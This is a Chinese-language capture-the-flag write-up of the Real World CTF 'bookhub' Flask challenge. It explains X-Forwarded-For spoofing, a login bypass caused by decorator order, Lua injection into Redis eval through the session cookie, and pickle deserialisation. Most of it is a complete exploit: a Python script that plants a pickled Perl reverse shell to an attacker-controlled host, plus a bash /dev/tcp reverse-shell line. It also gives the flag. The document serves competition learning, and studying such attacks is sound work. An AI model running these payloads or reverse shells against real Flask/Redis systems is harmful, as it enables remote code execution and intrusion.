How to pwn bookhub?
http://52.52.4.252:8080/
hint: www.zip
太垃圾了了,一开始掉进了XFF的坑里
./bookhub/forms.py
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)
def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '10.0.0.1')
./bookhub/helper.py
def get_remote_addr():
address = flask.request.headers.get(
'X-Forwarded-For', flask.request.remote_addr)
try:
ipaddress.ip_address(address)
except ValueError as e:
op(e)
return None
else:
return address
仔细看的时候才发现有个特殊的IP
扫一波端口发现5000,访问后是新大陆
debug mode
X-Forwarded-For位于HTTP协议的请求头, 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入RFC 7239(Forwarded HTTP Extension)标准之中。
格式 :X-Forwarded-For: client, proxy1, proxy2
这个请求头可以被用户或者代理服务器修改的,因此也就可能存在XFF伪造的问题。
以Nginx为例:
location / {
proxy_pass http://webserver;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
$proxy_add_x_forwarded_for
变量包含客户端请求头中的X-Forwarded-For
,与$remote_addr
用逗号分开,如果没有X-Forwarded-For
请求头,则$proxy_add_x_forwarded_for
等于$remote_addr
。
第一个代理获取的是客户端的X-Forwarded-For
或者是remote_addr
,而第二个代理获取的必然是第一个代理的remote_addr
。
X-Forwarded-For: [xff|client_addr], proxy1, proxy2
所以,在代理的情况下,address = flask.request.headers.get(
'X-Forwarded-For', flask.request.remote_addr)
获取到的就不是单个IP了,而是用,
分割的IP字符串。
PHP中获取IP的代码:
// thinkphp_3.2.3
function get_client_ip($type = 0) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$pos = array_search('unknown',$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
// IP地址合法验证
$long = sprintf("%u",ip2long($ip));
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0);
return $ip[$type];
}
分割X-Forwarded-For
并获取第一个,也就是获取到有可能存在的伪造的[xff|client_addr]
又一次掉进坑里,事实上,如图源码里的migrations,数据库里面根本没有用户,还zz地爆破弱口令
./bookhub/views/user.py
if app.debug:
@user_blueprint.route('/admin/system/')
@login_required
def system():
@user_blueprint.route('/admin/system/change_name/', methods=['POST'])
@login_required
def change_name():
...
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
可以看出,refresh_session()的装饰器顺序和其他的不同。
Python的装上器是一层一层添加的
@warp2
@warp1
def func():
print(1)
调用函数的时候:func(warp2)->func(warp1)->func
在Flask中,访问/admin/system/
:system(user_blueprint)->system(login_required)->system(),这时候就会判断login_required对登陆状态进行验证。
而访问/admin/system/refresh_session/
:refresh_session(user_blueprint)->refresh_session(),这个地方就是没有login_required什么事了,也就造成了绕过权限控制的问题。
我还是太菜了,又研究了一波装饰器的问题
./bookhub/views/user.py
if app.debug:
...
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']
if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end
return false
end
local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
print(e)
app.logger.exception(e)
status = 'fail'
return flask.jsonify(dict(status=status))
这一步就4个点,sessionid可控,并注入到Lua脚本被redis.eval执行,还得绕过del
Test Pyaload :
-- 闭合语句
local inputs = { "{prefix}" }
-- urlDecode 处理不可见字符
local function urlDecode(s)
s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end)
return s
end
-- 写payload
redis.call("set","bookhub:session:sid",urlDecode("payload"))
-- 绕过del并注释后面的内容
inputs ={ "bookhub:session:sid" } -- " }
注入语句是没有换行的,当然Lua脚本的格式也和换行无关
Pyaload :
" } local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end redis.call("set","bookhub:session:sid",urlDecode("payload")) inputs = { "bookhub:session:sid" } -- " }
其实一开始,没想到用urlDecode,Lua的十六进制用\XX
而不是常见的\xXX
,
神一般的操作
#flask_session/sessions.py
class RedisSessionInterface(SessionInterface):
...
serializer = pickle
...
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
...
val = self.redis.get(self.key_prefix + sid)
if val is not None:
try:
data = self.serializer.loads(val)
return self.session_class(data, sid=sid)
except:
return self.session_class(sid=sid, permanent=self.permanent)
return self.session_class(sid=sid, permanent=self.permanent)
明显的Python pickle 反序列化漏洞
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
listen_ip, listen_port)
return (os.system, (s,))
服务器有毒,s = """/bin/bash -i >& /dev/tcp/%s/%d 0>&1""" % (
listen_ip, listen_port)
,bash反弹死活不成功
然后perl反弹成功了
Flag : rwctf{fl45k_1s_a_MAg1cal_fr4mew0rk_t0000000000}
# -*- coding:utf-8 -*-
__AUTHOR__ = 'Virink'
import os
import sys
import requests as req
import re
from urllib.parse import quote as urlencode
try:
import cPickle as pickle
except ImportError:
import pickle
URL = "http://18.213.16.123:5000/"
listen_ip = 'your_vps_ip'
listen_port = 7979
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
listen_ip, listen_port)
return (os.system, (s,))
if __name__ == '__main__':
payload = urlencode(pickle.dumps([exp()]))
# 插入payload并防止del
sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \
'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % (
payload)
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 注入payload
headers["Cookie"] = 'bookhub-session="%s"' % sid
res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
res.content.decode('utf-8'))
if r:
# refresh_session
headers['X-CSRFToken'] = r[0]
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
# 触发RCE
req.get(URL + 'login/',
headers={'Cookie': 'bookhub-session=qaq'})
Web狗->没活路的样子,得熟悉各种语言的特性
膜 PHITHON 神鬼莫测的出题思路
就让比赛主题Real World,很坑但很真实。
神如Ph牛挖坑,菜鸡如我爬坑!